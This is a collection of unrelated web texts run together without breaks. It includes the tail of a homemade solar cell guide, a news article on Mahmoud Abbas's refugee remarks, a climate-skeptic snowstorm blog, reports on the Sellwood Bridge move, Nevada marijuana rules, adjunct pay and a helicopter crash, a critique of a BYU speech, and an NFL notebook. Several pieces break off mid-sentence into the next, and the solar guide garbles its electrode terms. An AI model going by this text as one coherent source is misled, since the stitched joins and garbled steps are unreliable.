carbon-coated plate when exposed to EM radiation. If the iodide solution is in excess wipe off the solution on the surface that is to be exposed to sunlight. Attach an alligator clip or a crocodile clip to the sections of the coated surface on either side of the cell. One clip attached to the surface coated with graphite which serve as the abide while the alligator clip attached to the surface coated with titanium dioxide. This of course is the cathode. Connect conducting wires to the clips and place it in a position that light will fall on the surface of the plate. Your solar cell in now ready for use. You can test the amount of voltage and current the solar cell produces using the multimeter. Obviously, the voltage is not enough to charge your phone, but you can make a string of these solar cells to do so!.
Advantages of using Solar Cell
Following are the advantage of using solar cells:
It doesn’t produce noise
It doesn’t require fuel to power it up
Its driving power is free in nature
It require little maintenance
Disadvantages Of Using Solar Cells
Disadvantage of using solar cells are
The surface of the cell has to be large in order to produce reasonable amount of electrical energy.
When the sun goes into hiding in the clouds amount of energy generated will be cut down.
They cannot be employed as energy source because of fluctuations in the amount of energy generated.
Applications & Uses Of Solar Cells
Solar cells have numerous applications despite its disadvantages which are as follows:
Group of series – parallel connected solar cells can be used as a battery charger
They are extensively used as source of power for satellites
Multiple-unit silicon photovoltaic devices can be used for sensing light in applications like reading punched cards in data processing industry
Gold – doped germanium cells with controlled spectral response characteristic can be used as infrared detectors.
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Enter your Email for Latest Updates like the above one!Israel’s prime minister responded bitterly Monday to comments by Palestinian Authority President Mahmoud Abbas that six million Palestinian refugees, himself included, were waiting to “return” to Israel and that “we need to find creative solutions because we cannot close the door to those who wish to return.”
A spokesman for Benjamin Netanyahu accused Abbas of promoting “impossible fantasies” and taking “maximalist positions.” Israel has a population of just over 8 million, more than a fifth of whom are Arabs. Israeli governments have consistently rejected Palestinian demands for a “right of return” for millions of descendants of former Arab residents of what is today Israel, saying that the demand amounts to a bid to destroy Israel by demographic means and that a Palestinian state would have to absorb them in the same way that Israel absorbed Jewish refugees who were forced to leave countries across the Middle East and North Africa when Israel was founded.
“The Palestinian leadership does the Palestinian people no service when they cultivate impossible fantasies,” Netanyahu’s spokesman Mark Regev told The Times of Israel on Monday. “It’s high time the Palestinian leadership abandon these sort of maximalist positions which make reaching a peace agreement more difficult.”
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Netanyahu was briefed on Abbas’s interview and decided to respond by referencing the PA chief’s refugee demand in a speech he gave on Sunday, Regev indicated.
“Real peace will only come with leadership that demands from the Palestinians to accept the three pillars of peace,” Netanyahu said in a pre-recorded video message screened at the Saban Forum in Washington: “One, genuine mutual recognition; two, an end to all claims, including the right of return; and three, a long-term Israeli security presence. Now, I will never give up on this triangle of true peace.”
‘Israel aspires to a Jewish state, and ISIS aspires to an Islamic state, and here we are, suspended between Jewish extremism and Islamic extremism’
Abbas gave the unusually hard-hitting and revelatory interview on November 30 to the Egyptian daily Akhbar Al-Yawm. It was translated into English over the weekend by the Washington-based media watchdog MEMRI.
In the course of the interview, Abbas ruled out recognizing Israel as a Jewish state, implied a comparison between Israel and the Islamic State, said he never believed in the Arab Spring, and revealed that in his most recent meeting with Barack Obama, he disabused the US president of the notion that any part of Egypt’s Muslim Brotherhood could be considered moderate. He also said that then-secretary of state Hillary Clinton sought to enlist his help in persuading former Egyptian president Hosni Mubarak to step down in 2011, warned that IS would likely rise in the West Bank, and reserved some of his harshest comments for Hamas, whose leaders he called “a bunch of liars.” He also said Hamas “begged me to declare a ceasefire with no reservations or conditions” to end the 50-day war this summer.
In his comments on recognizing Israel as a Jewish state, Abbas was blunt: “We cannot recognize a Jewish state. We will stand against this enterprise, not out of obstinacy, but because it contradicts our interests,” he said. “The first to suffer from this law would be the 1.5 million Arabs who would no longer belong to Israel, due to their religion. The first to protest this law were the Druze…
“There is another reason,” he went on. “[Israel] will not allow the return of refugees. There are six million refugees who wish to return, and by the way, I am one of them. We need to find creative solutions because we cannot close the door to those who wish to return. Israel aspires to a Jewish state, and IS aspires to an Islamic state, and here we are, suspended between Jewish extremism and Islamic extremism. [IS leader] Abu Bakr Al-Baghdadi will have an excuse to establish an Islamic state after the Jewish state law is approved. This is another matter from which we and everyone else suffer.”
Those comments seemed to represent a hardening of Abbas’s positions. In September 2012 he told Israel’s Channel 2 news that he did not feel he had the right to return to live in Safed, in northern Israel, where he was born. Abbas has also been quoted telling his own negotiators that he did not anticipate flooding Israel with refugees, although the PA’s formal position in peace talks with Israel was always to demand the “right of return.”
Israeli officials said Monday they did not believe Abbas had invoked the six million figure in an ostensible counterpoint to the six million Jewish victims of the Holocaust, whose dimensions he has previously questioned. Rather, the officials said, Abbas was inflating the numbers of Palestinian refugees. Usually, the number given is 4-5 million, the officials said, but this is a function of the UN uniquely including descendants of the original refugees in its totals, meaning third- and fourth-generation Palestinians are thus formally considered by the UN to be refugees. If anything, the officials said, the six million figure might be invoked by Abbas as an ostensible counterpoint to the 6 million Jews currently living in Israel.
Abbas charged that members of the Netanyahu government “don’t believe in peace. You ask for peace, and they do not want it… Netanyahu said to me: ‘I want [Israel to be responsible for] security on the Jordanian border for 40 years.’ I pretended to have misheard him, and asked: ‘How many?!’ He said: ’40 years.’ I bid him farewell and said, ‘Let’s shake hands [in farewell].’ I left his home and said to him, ‘This is occupation. I haven’t seen him since…'”
Abbas said he accepted the principle of 1:1 land swaps to adjust the pre-1967 lines, but also demanded territory of equal significance. “For example, it is inappropriate for them to receive land in Jerusalem and give me [land] in the Negev [in exchange],” he said. He did not explain why he had failed to accept the far-reaching peace offer of former prime minister Ehud Olmert, which included provisions to divide Jerusalem and relinquish Israeli sovereignty at the Temple Mount in favor of a non-sovereign international trusteeship. “I negotiated with Olmert, who said: ‘Let us swap land, and you will receive 20 extra kilometers in addition to the West Bank’… but we did not [manage] to reach an agreement and he left,” said Abbas.
He said he would not accept any Israeli plan to redesignate current Israeli territory with lots of Arab residents as part of a new Palestine, an idea floated by Foreign Minister Avigdor Liberman. “Netanyahu once told me that it was an ‘idea from hell,’ from his perspective, for him to give me the [Galilee] Triangle and everything in it. [The Triangle] was occupied in 1949 and at that time it had 38,000 residents. Today, it probably has about 400,000 residents. I said: I will not take anyone. Forget it, because honestly, I will not allow, or force, any Arab to relinquish his Israeli citizenship.”
In this context, he also claimed to have rejected a suggestion that might have prevented the collapse of the peace talks last spring over the issue of Israel’s refusal to release Israeli Arab terrorist convicts. “You might be surprised, but this is important. As far as I’m concerned, this is sacred. For example, in the fourth round of the release of our Palestinian prisoners, 15 of the 30 are 1948 Arabs [Israeli Arabs]. They told me: ‘Take them to the West Bank and they will relinquish their citizenship.’ I told them: ‘This is impossible. They should return to their homes and retain their citizenship.’ As far as I’m concerned, Arabs remaining citizens of Israel is a sacred matter,” said Abbas.
Abbas insisted that, “I don’t want to destroy Israel and do not call for its destruction. We want to live with it in security and peace, but only after I receive my rights and you receive yours… We want a state in the 1967 borders with Jerusalem as its capital, and we want to [set] a date to end the occupation. That is all we want. If Israel agrees to this now, we will go to negotiations.”
He then set out the steps he would take in his efforts to achieve statehood if negotiations could not be restarted.
He acknowledged that his planned appeal to the UN Security Council for a timetable for Israel to leave the territory it captured in 1967 might not gain the necessary nine votes and would likely draw a US veto if it did. In any case, he said, it would not turn Palestine into a state. “All the [Security] Council does is give me a certificate; it doesn’t give me territory,” he said.
‘I never believed in the Arab Spring… Hillary Clinton phoned me and asked me to phone president Mubarak and persuade him to step down. I asked, What do I have to do with the Egyptian matter?’
But, he noted, “the General Assembly has decided that the PA territory is occupied territory, [so] now we are like any occupied country that is subject to the First, Second, Third, and Fourth Geneva Conventions. Therefore, we intend to participate in the conference of signatory countries in Geneva [in December] in order to implement this resolution.”
If that doesn’t work, he said, the PA would join various international organizations, “such as the International Criminal Court and International Court of Justice. There are 520 international organizations, and [joining them] will surely bother everyone. If there is an appeal to the ICC, and a Palestinian files a lawsuit against an Israeli, they [the Israelis] get scared, because [then] they are wanted and cannot travel.”
Finally, he warned the PA would cease security coordination with Israel — “no ties, no security, and no talks with anyone.” The PA would say “to Netanyahu: ‘You are an occupation state, please take responsibility for the occupation.’ Many comrades tell me: Authority is an achievement. But I am not giving away authority. I am merely saying that I have no authority and that I have nothing…”
Turning to the issues of Egypt and the Arab Spring, Abbas said that on his recent visits to the US and South Africa, “I clarified to everyone that Egypt had saved us and the entire region from the terrorism in the region… In my recent meeting with Obama, he asked me about the situation in Egypt, and I explained to him that the process of democratization [there] was about to be completed. He asked me about the Brothers [the Muslim Brotherhood], and I explained to him that there was no such thing as Brothers there. Obama clarified, ‘The moderate Brothers,’ and I explained to him that the moderate Brothers are only in the US, but that they [the Muslim Brotherhood] were the ones who had created all the extremist organizations in the region, including IS, the Al-Nusra Front, and al-Qaeda. All these terror organizations emerged from the belly of the Muslim Brotherhood. They will not return to [power in] Egypt again.”
‘Morsi did not understand the Palestinian problem. His understanding of the subject was like my understanding of Japanese’
“From the outset,” he went on, “I never believed in the Arab Spring. One day, before the January 25 revolution, I was with then-president Hosni Mubarak, and when the events of January 25 began, US secretary of state Hillary Clinton phoned me and asked me to phone president Mubarak and persuade him to step down. I asked, ‘What do I have to do with the Egyptian matter?’… We are facing chaos, the rise of the Muslim Brotherhood, or both.”
He said subsequent Egyptian president Mohammed Morsi, the Muslim Brotherhood leader who was himself ousted a year later, “did not understand the Palestinian problem. His understanding of the subject was like my understanding of Japanese. He wanted to exploit it to actualize the interests of the Muslim Brotherhood. If you remember the Giora Eiland [a former general and ex-Israeli national security adviser] plan, he wanted to turn the Sinai territories into the Palestinian state, [and Morsi agreed to this plan. But] we will not agree to accept an inch of land from Egypt and will not agree that a Palestinian should leave his land…[Moreover,] Morsi wanted to establish a Gaza consulate in Egypt to deepen the internal Palestinian schism.”
Abbas also warned: “If the current situation continues as it is now, IS will also emerge in the West Bank. As for the Gaza Strip – the entire Muslim Brotherhood is IS.”
On the current situation in Gaza, Abbas said he backed Egypt in destroying the smuggling tunnels under the Gaza-Egyot border “once and for all. This has been my view for nine years, and I have asked Egypt many times to close the tunnels. In Gaza, 1,800 residents have become millionaires by utilizing the tunnels for their own interests. Likewise, they utilize the tunnels to act against Egypt by smuggling weapons and drugs, and [they also harm Egypt] by operating an industry of counterfeiting money and forging documents. The destruction of the tunnels is the answer that will put an end to these phenomena. I have many times proposed ideas for destroying the tunnels, for example, to flood them with water 30 meters deep – as deep as the tunnels. This should be done after destroying the homes with tunnel openings in them, and punishing the owners of those homes. No country in the world tolerates the problem of the tunnels except for Egypt and Palestine,” he said.
‘No one lies more than Hamas and the Muslim Brotherhood. I am not against Islam, but I am against the Muslim Brotherhood. I am a good Muslim – I fast, I pray, and I read the Koran – while they are a bunch of liars’
He then asserted firmly that “the Hamas movement is part of the Muslim Brotherhood. This is explicitly declared by all, and Hamas receives instructions from the office of the Muslim Brotherhood’s global general guide…”
He slammed Hamas for kidnapping and killing three Israeli teenagers — whom he described as settlers — in the West Bank on June 12, and then lying about its responsibility. “We agreed [with Hamas] that we would establish the National Accord government, but that it would not include a single member of the Hamas movement. This government was sworn in on June 2, and exactly ten days later, on June 12, they kidnapped the three settlers [near] Hebron. I tried to avoid creating a crisis. I spoke with [Hamas political bureau head] Khaled Mashaal and asked him whether Hamas had anything to do with the kidnapping of the settlers, and he said: We have nothing to do with it. I wanted him to confirm it again, and he swore by Allah that they had nothing to do with it. I told him: I believe you. That was in Doha.
“Then the war in Gaza broke out, and… Hamas member Salah Al-Arouri officially declared from Istanbul that it was Hamas that had kidnapped the three settlers and killed them, in order to promote Hamas’s attempt to mobilize the Palestinians in the West Bank and Jerusalem. Then I asked Mashaal again about those involved in the affair, and he said that Arouri had spoken for himself, not for Hamas.
“I want to say here that no one lies more than them [Hamas] and the Muslim Brotherhood. I am not against Islam, but I am against the Muslim Brotherhood. I am a good Muslim – I fast, I pray, and I read the Koran – while they are a bunch of liars…
“Because of Hamas’s lie,” said Abbas, “this regrettable Gaza war broke out. I phoned the Egyptian president and asked him to submit a proposal to stop the war. I clarified that [such] an initiative would save the Palestinian people, and that it was the entire Palestinian people that was asking him to do this, not Hamas… President Sissi met my request, and the Egyptian initiative was proposed. They [had to] propose it for 51 days, because of Hamas’s obstinacy, and during this time the land [Gaza] was completely destroyed. On the last day [of the war], Hamas members begged me to declare a ceasefire with no reservations or conditions, after many had already been killed and wounded and Gaza was in ruins.”
“During the 50-day war, everyone spoke out against me, first of all Fatah. I told them that I am not willing to destroy the West Bank and Ramallah. Hamas, for example, killed three [Israelis], and it wanted an intifada, and I did not respond… At the end of the war, my men told me: You were right. Had we acted like them [i.e., like Hamas], the [entire] land would have been ruined,” the PA chief said.
He said Hamas was still lying, including about blowing up the homes of Fatah leaders in Gaza on November 7. Hamas was determined to prevent Palestinian reconciliation efforts, he said, and was now derailing efforts to rebuild Gaza. “They [Hamas] concluded with Robert Serry, the UN emissary for rebuilding Gaza, that we [the Palestinian Authority] as a state would be at |
2011 is below the long term average (blues and purples) in the region where the snow has been anomalously heavy - northern Europe and central and eastern United States.
Enlarged.
You get record or anomalous snow from unusually cold air unusually far south not unusually warm air unusually far north.
By the way, in Vermont, the “Vermont State Police in Rutland have reported a record number of “lost” skiers at Vermont ski resorts and backcountry ski areas since December. Heavy snowfall and whiteout conditions have added to the problem of skiers losing their ways on area mountain slopes.” Like the alarmists, they have lost their way.
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The Snowstorm of February 1-2, 2011 - Select Pictures
By Joseph D’Aleo, CCM
The monster as seen from space. Though not exceptionally deep in terms of central pressure, the storm was on the leading edge of a huge arctic high and to the west of the track in the plains up to Chicago, there was a blizzard.
Here is the view from the satellite today of the snowcovered ground.
In Chicago Illinois, the storm was the third largest behind 1999 and the big storm of 1967. All were in years with La Nina and a negative PDO following strong El Ninos.
First two photos from Chicago in 2011 then one in 1967 (courtesy of Dr. Richard Keen).
Then some from southern New Hampshire where 14” of snow brought snow depth to between 3 and 4 feet. The first shows walkway to my home with 5 foot mounds.
Here is the snow during the heart of the storm.
The next is my home before the snow blower did its final pass.
Have to get a snow rake for my roof.
My daughter shoveling snow off my deck to prevent collapse.
Attention Walmart shoppers: this week free snow, help yourself in the parking lot.
My church.
The church photo that has gone viral says it all.
See snow depth for the northeast below. Similar story north central.
See PDF.
More to follow on why this winter has been so snowy and extreme coming next week. Meanwhile you may enjoy Al Gore’s take on what caused this extreme cold and snow. Can you guess?
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Posted on 02/03 at 12:31 PM(0) TrackbacksSellwood Bridge moves, inch by inch 22 Gallery: Sellwood Bridge moves, inch by inch
The
on Saturday provided daylong entertainment for a giddy crowd of hundreds of awestruck onlookers, as its 6.8 million-pound span moved -- in what seemed miraculous to many -- inches at a time onto new, temporary supports.
The move came off flawlessly, capping months of intense planning and detailed preparations.
Traveling about six feet per hour, the bridge's 1,100-foot-long steel truss slid so slowly along specially built tracks that actual movement was nearly impossible to discern.
The 87-year-old bridge snail's pace, however, did nothing to dampen enthusiasm among people of all ages who showed up to witness what many characterized as a once-in-a-lifetime spectacle.
"There's a smile on every face," said Blythe Nordbye, who walked from her Johns Landing home to see the move. "It's hard to describe exactly why, but this is all just incredibly exciting."
Allison Sliter and Michael Wolfe made the bridge's east end a stop of their weekly bike ride. Bundled against the cold morning air, both said the journey was worthwhile.
"I'm amazed at the immensity of moving a bridge," Sliter said.
Added Wolfe, "It's a festival here. Just very, very cool."
Asked by a crowd member to describe the monitoring system, Multnomah County engineer Chuck Maggio said, "We've got five survey laser targets, 10 GPS sensors, 30 stress-strain gauges, 10 sets of smart levels and about 30 sets of eyeballs up there. We're definitely keeping track of what's happening."
The move was complicated by the fact that a new interchange at the west end must be considerably larger than the current one. To provide the extra space, the bridge had to move in a skewing motion like a windshield wiper, traveling 33 feet on the east end, but double that on the west.
"Figuring out that arcing motion was probably our biggest challenge," Omega Morgan's McCalla said. "We've moved things that are heavier before, but probably nothing quite as complicated as this."
Crews perched on each of the span's five concrete piers relied on timing provided by radio communications to trigger each new push of powerful hydraulic jacks. The bridge's weight-bearing points, already lifted by other jacks, slid horizontally along special beams coated with Teflon pads to ease resistance.
In an additional effort to make the pads even slicker, they were dabbed with a coating of Dawn liquid detergent.
"It's just something the guys have found that works," said McCalla, adding that he was unaware of anything longer than the Sellwood Bridge ever being moved in a single piece.
The bridge now sits on temporary steel supports, which will be removed after the new bridge is completed in the same spot as the old bridge, next to the temporary bridge.
Multnomah County Commissioner Deborah Kafoury, credited with helping assemble the financing package that made the $307.5 million project possible, ventured out onto the steel truss during the move.
"The way I could tell it was actually moving was that it felt like a minor, minor earthquake as it shook a little," she said.
The old bridge will now serve as a detour route until the new span is completed in the summer of 2015. The detour, known in engineering parlance as a "shoofly" bridge, is scheduled to open to cars, cyclists and pedestrians Thursday at 7 a.m.
With the old bridge safely out of the way, activity will now resume on a temporary work bridge just upstream that will serve as a platform for building the new span.
Other than a few celebratory high-fives to mark completion of the bridge's historic move, it's back to full speed ahead, said Ian Cannon, the county's bridge engineering services manager.
"After today," he said, "the work really starts."
--Gangtok, Jan. 8: The Sikkim disaster management department today launched a free mobile app that would provide details of natural calamities like landslides and earthquakes, along with road condition and weather warning.
The app, developed by a Calcutta-based company, Sysepedia, also has information about recent land and crop damage, casualties and exgratia norms.
The Sikkim Disaster Management App was launched by the state relief commissioner, C.T. Wangdi, at the land revenue and disaster management department office.
"The application could be useful for smart phone users as a tool to get information on all disaster management activities in Sikkim," said Wangdi.
The app can be downloaded through Play Store in smart phones.
"One has to type Sikkim Disaster Management and install the app. The information would be updated every day. It is a free app," said a senior official.
The district collectors of all four districts of the state would be the "admin" and they would log in and update information.
South district collector Raj Yadav said: "We felt it was necessary to launch the application because the present system of disseminating information is time taking. Collectors would gather information from the BDOs and panchayats and report to the head office. Now, the process would be fast and it would be easily accessible."
The relief commissioner said the panchayats would be asked to download the application. "We will ask the block development officers to raise awareness of the application."As legalized marijuana expands in the Las Vegas Valley, supporters and detractors debate whether it is a gateway to harder drugs. (Nathan O’Neal/KSNV)
News 3 has obtained a copy of Nevada’s Statement of Emergency and draft regulations to allow certain medical marijuana establishments to begin selling recreationally to adults 21 and older beginning on July 1.
The regulations detail limitations on the amount of THC that is allowed in edible products and sets requirements for child-proof packaging and labeling. The regulations also prohibit certain products that are “normally consumed by or found appealing to children, such as lollipops and gummy bears.”
“These emergency regulations are necessary to protect the public health and safety of our residents, children, and visitors as we transition into an adult-use marijuana market,” said the statement of emergency drafted by the Nevada Department of Taxation. “It is necessary to implement them on an emergency basis as the department will issue marijuana establishment licenses for those establishments to begin selling marijuana to adults as of July 1, 2017.”
The regulations are expected to be formally approved at the Tax Commission’s meeting on Monday, June 26.
Emergency Regulation - Packaging Labeling Marijuana Document
Emergency Regulation - Packaging Labeling Marijuana by Anonymous EB7dvw7S0 on Scribd
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Recreational marijuana on hold, decision expected to be made on June 20
Despite legal challenge, marijuana industry wants July 1 launch in Nevada
Judge halts state application process for recreational marijuana in NevadaFor many universities and colleges, both public and private, it’s their most embarrassing secret—paying educated professionals minimum wage salaries with no benefits.
Patti Donze. (Photo: Ana Beatriz Cholo)
Patti Donze is a California State University-Dominguez Hills sociology lecturer doing everything right to become a tenured college professor. She has advanced degrees from well-respected universities and is teaching a full load of five classes this semester. But her net income is $2,500 a month, just barely enough to buy food and pay rent on a studio apartment in Culver City.
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She has $50,000 in school loan debt—not an extreme amount considering the Juris Doctorate and Ph.D. that she has under her belt, but she said it’s not feasible to pay even the minimum monthly payment and is researching loan forgiveness programs.
Besides fast-food workers, there is another face of low-wage workers across the country. For many universities and colleges, both public and private, it’s their most embarrassing secret—paying educated professionals minimum wage salaries with no benefits. Adjuncts are paid much less than tenured and full-time faculty and typically do not have union representation.
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For many adjuncts, banding together to speak up is one approach to winning better pay, benefits, and some job security, such as longer and more stable contracts. These are the aims of academic unions and the New Faculty Majority, an advocacy organization committed to bringing about income equality for all college faculty in areas where unions are weak.
“Universities across the country, instead of investing in long-term faculty who will build and grow the curriculum and students, are hiring temporary workers. It’s not any different than [in] corporate America. The disinvestment in education made universities turn to this haphazard temporary workforce.”
Adrianna Kezar, a professor at the University of Southern California’s Rossier School of Education and co-director of the Delphi Project on the Changing Faculty and Student Success, is an expert on change and leadership in higher education. She believes the unionization movement has been the big catalyst for the recent focus on unfair working conditions for these highly qualified educators.
“Fifty percent of the faculty in our country make what somebody at McDonald’s makes,” she said, adding that more and more adjuncts are going on public assistance and needing food stamps to survive.
Last year in California, Local 1021 of the Service Employees International Union began an intense campaign to organize adjunct faculty members in the Bay Area and Los Angeles, part of a national Adjunct Action campaign that is taking place in American cities. (Disclosure: Both SEIU 1021 and the California Faculty Association are financial supporters of Capital & Main.)
Recently unionized schools in the Bay Area include St. Mary’s College, Dominican University, Mills College, San Francisco Art Institute, and the California College of the Arts. In the Los Angeles region, Whittier College, Laguna College of Art + Design, and Otis College of Art and Design have voted to unionize.
Chris Johnson has been a part of the adjunct faculty at Dominican University in San Rafael since 2009. She teaches English there, specifically developmental and business writing, and holds two master’s degrees—one in journalism and the other in library science. Like other adjuncts across the nation, she finds out only a couple of weeks ahead of time whether she will be teaching any classes during the upcoming semester. She must leave her schedule open and simply cross her fingers.
“We earn $4,305 to teach one class at Dominican,” she said in an interview. “That is considered high for the nation but we are in the Bay Area, which is considered one of the most expensive places in the world. The secretaries make more than we do. We have no benefits, no health care, but now that we have a union that is going to change.”
A study released last year by the Institute for Policy Studies noted that colleges with millionaire presidents are the same ones whose students are more indebted and where adjuncts are more heavily relied upon.
Cal State adjunct faculty are represented by California Faculty Association (another SEIU local), which represents more than 23,000 employees ranging from professors and lecturers to counselors and coaches.
The CFA president, Lillian Taiz, said there are members who have been teaching for 30 years but are still considered temporary workers.
Taiz said there is no difference between lecturers and tenure-track professors, and remembers when all educators had a good shot at getting a tenure-track job and enjoying a middle-class life.
“Universities across the country,” she said, “instead of investing in long-term faculty who will build and grow the curriculum and students, are hiring temporary workers. It’s not any different than [in] corporate America. The disinvestment in education made universities turn to this haphazard temporary workforce.”
Taiz added that the only way for things to get better is if adjuncts come together and demand it.
“The connection to the fast-food workers is very similar,” said Taiz. “Corporations are not going to pay them $15 an hour out of the goodness of their hearts. It’s no different for faculty.”
Last year, a tentative agreement was reached between the faculty union and Cal State Los Angeles that slightly improved wages for holders of doctorates. Donze said that translated into a $300 per month salary increase—a nice raise but nothing life-changing.
She wishes adjunct faculty could be given the same benefits as tenure-track faculty. Her hope is to land such a job in the future, but those types of positions are few in number.
“I am teaching a class and I’m getting paid a third of what a tenured professor would get to teach the same exact class,” Donze said. “I was a merit scholar at my law school. I look good on paper, but here I am getting paid less than $20,000 a year. I mean, it was minimum wage on my W-2s. I had no idea that I would graduate with a Ph.D. and be making as little as I do. Starbucks would probably pay more.”
In a way, Donze is lucky because she has the advantage of teaching all of her classes in one location and, because she works for the Cal State system, health insurance. She’s also lucky because she is teaching a full load, but that is always contingent on her department. In 2012, she was bringing home $1,300 per month.
“All of my income went toward rent. I didn’t have money for food,” she said.
Despite the financial challenges, Donze said she loves her job.
“Basically I want to do exactly what I’m doing,” she said. “I have my dream job. I want to teach the people who are going to go out and make the changes that we want to see. They want to make a world that is more equal and just. Students tell me that I have changed their lives.”
Congressman George Miller (D-California) highlighted the issue of adjunct pay last year, prior to his retirement, via a report from the House Education and the Workforce Committee. The study, titled, “The Just-In-Time Professor,” may pave the way for more interest from state legislatures into how state-funded universities are spending their money, which would help fuel the movement, according to Kezar.
As for what is fair pay for adjunct professors, that number depends on the institution, Kezar said. A new union contract at Tufts University, a relatively wealthy institution, will pay all part-time faculty $7,300 per course by September 2016 and those with eight or more years of service will get $8,760 a class. And work done outside of the classroom mentoring students, grading, advising, etc. will also be compensated—something that many adjuncts currently end up doing for students without pay.
Although Kezar considers that a reasonable salary, it is not realistic for all institutions, especially those that are not research-based or are state-funded. For instance, a good ballpark salary range for adjuncts in the Cal State system might be in the $5,000 to $6,000 range.
Examining priorities is key, said Kezar, who admitted she would be open to taking a pay cut herself in order to help equalize the pay system for adjuncts.
“What’s important is student learning and things that don’t align with that should not get priority,” she said. “We need an across-the-board examination of budgets.”
This post originally appeared on Capital & Main, a Pacific Standard partner site, as “Are Adjunct Professors the New Fast-Food Workers?" It is part of a month-long series exploring how economic inequality is transforming California, and what can be done to rebuild our vanishing middle class.Police are responding to reports of a helicopter crash in the Lindis Pass.
Police and the Civil Aviation Authority have launched an investigation after a man was killed in a helicopter crash near the Lindis Pass.
A St John spokesman confirmed that one person - a 32-year-old man - was found dead at the scene of the crash east of the Lindis Pass late on Saturday morning.
Do you know more about this? Contact us newstips@stuff.co.nz
The other occupant of the helicopter, a man aged 51, has been flown to Dunedin Hospital with serious head and chest injuries.
A Southern Police spokesperson said the helicopter was believed to be a Robinson R22.
Police have secured the scene and notified the Civil Aviation Authority (CAA) of the crash.
A full investigation is being conducted by police and the CAA, and officers are currently locating and notifying next of kin.
A St John spokesman said St John was alerted to the incident about 11.30am, and the Otago Rescue Helicopter was dispatched. Due to the remoteness of the location and foggy weather conditions, it did not arrive at the scene until about 12.50pm, he said.
A CAA spokesman said the crash occurred at about 11am. Crash scene investigators were expected to travel to the scene on Sunday to conduct a scene examination, he said.
He believed the crash occurred about 1 kilometre from the Lindis Pass-Tarras Rd.
A Rescue Coordination Centre New Zealand (RCCNZ) spokesman said another helicopter carrying a cliff rescue team was en route from Wanaka.
Senior Sergeant Craig Dinnissen said a beacon was activated shortly before 12 noon.During the commencement ceremonies for Brigham Young University on Thursday, most of the speeches were pretty typical, even for a school affiliated with the Mormon Church. Pursue your passions. Family comes first. Money isn’t everything. Don’t watch porn.
Typical stuff.
Elder L. Whitney Clayton, a leader in the Church’s Quorums of the Seventy, gave the main commencement speech. In addition to making the no-porn comment, he made this incredible remark:
The faithless often promote themselves as the wise who can rescue the rest of us from our naiveté. One does not need to listen to assertive apostates for long to see the parallels between them and the Corihors and Nehors and Sharoms of The Book of Mormon. We should disconnect immediately and completely from listening to the proselytizing efforts of those who have lost their faith, and instead reconnect promptly with the holy spirit. The adversary sees spiritual apathy and half-hearted obedience as opportunities to encircle us with his chains and bind us, and he hopes to destroy us. We escape his chains as we voluntarily chose to bind ourselves instead to God.
To put it another way, after spending several years in college, after being exposed to different perspectives, and after all that preparation to head out into the Real World, these graduates were told by their commencement speaker to cut themselves off from people who dared to challenge them.
Someone more confident in his beliefs could easily have said, “We’ve prepared you well at BYU. So if anyone challenges your faith, we hope you’ll challenge them right back.”
Instead, Clayton’s strategy for dealing with religious dissenters amounts to “RUN AWAY FAST!” That’s some Scientology level shit right there. It’s not just bad advice to college students, it gives away the weakness of Mormon beliefs in the face of criticism.
The only good thing to come from that speech would be if some of those students now graduating from BYU finally have reason to leave the Church for good.
(Screenshot via YouTube)President Barack Obama will announce a plan Thursday to give low-income children access to 10,000 e-books.
Obama will announce the plan at Anacostia Library in Southeast Washington, D.C., Reuters reports. The plan includes $250 million in e-book commitments from publishers and will work to address educational problems in inner city areas.
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“If we’re serious about living up to what our country is about, then we have to consider what we can do to provide opportunities in every community, not just when they’re on the front page, but every day,” Jeff Zients, Obama’s top economic adviser, said.
The White House will also work with libraries to find ways to get more kids reading, as well as work on previously announced plans to upgrade Internet and computer access in schools and libraries so kids will be able to read the e-books.
Write to Tessa Berenson at tessa.berenson@time.com.Former NFL player and scout Bucky Brooks knows the ins and outs of this league, providing keen insight in his notebook. The topics of this edition include:
-- Reaction to Buffalo's sudden quarterback change to rookie Nathan Peterman.
-- Why Teddy Bridgewater will be starting for the Vikings sooner than later.
But first, a look at the NFL's most loaded teams when it comes to top-end talent...
* * * * *
When Detroit Lions safety Glover Quin suggested last Sunday that the Cleveland Browns "probably" have better athletes than 25 of the NFL's 32 teams, the football world naturally met his comments with quizzical looks. How could a team with an 0-9 record have superior athletes than two-thirds of the league?
While I'm not going to question Quin's credentials as an evaluator, I will point out that there is a big difference between athleticism and actual playing ability in the evaluation process. Athleticism alludes to a player's combination of size, speed, quickness and agility, while playing ability details a guy's skills, performance and production. While nobody minds having high-end athletes at each position, the overwhelming majority of coaches want players on their rosters. Simply put, they want guys with the capacity to make enough plays within the system to impact the game.
When I worked as a scout for the Carolina Panthers, I learned from the senior members of the front office that it takes eight to 10 "blue-chip" players to field a championship roster. Those "blues" are best described as Pro Bowl-caliber guys who rank among the top-10 players at their respective positions. Ideally, you would reserve a blue grade for a player who ranks as one of the five best at his spot, but the variances in systems and schemes force teams to tweak the grading the scale. It's an inexact science, but a nice way to kind of take stock of position groups and teams as a whole.
As I sat back and reflected on Quin's remarks, I thought that this would be the perfect time to rank the top 10 teams based on their best players. This is obviously a subjective exercise. And again, I'm not ranking the full 53-man roster here -- just the top-end talent. Here's my list:
1) JACKSONVILLE JAGUARS
Blue players: Leonard Fournette, RB; Allen Robinson, WR (IR); Malik Jackson, DT; Marcell Dareus, DT; Calais Campbell, DE; Yannick Ngakoue, DE; Telvin Smith, LB; Myles Jack, LB; Jalen Ramsey, CB; A.J. Bouye, CB.
The Jaguars have finally parlayed a decade's worth of top-10 picks into the league's most talented roster. The team has not only loaded up on defensive playmakers in the draft, but they've added some dynamic contributors through free agency. With defenders comprising the overwhelming majority of players on their blue list, it's not surprising the Jaguars' D is spearheading a current playoff team.
2) PHILADELPHIA EAGLES
Blue players: Carson Wentz, QB; Jay Ajayi, RB; LeGarrette Blount, RB; Zach Ertz, TE; Jason Peters, OT (IR); Lane Johnson, OT; Fletcher Cox, DT; Timmy Jernigan, DT; Brandon Graham, DE; Malcolm Jenkins, S.
The Eagles have taken a number of calculated risks to build a championship-caliber roster -- and it's working like a charm, with Philadelphia owning the league's best record (8-1). The Eagles have A-level players at most of the marquee spots, starting with their dynamic QB1 and their trench warriors on both sides of the ball. With Ajayi and Blount ranking as elite playmakers in their respective roles, the Eagles the right kind of weaponry to help their young franchise quarterback lead them to the winner's circle.
3) MINNESOTA VIKINGS
Blue players: Dalvin Cook, RB (IR); Everson Griffen, DE; Danielle Hunter, DE; Anthony Barr, LB; Eric Kendricks, LB; Xavier Rhodes, CB; Harrison Smith, S.
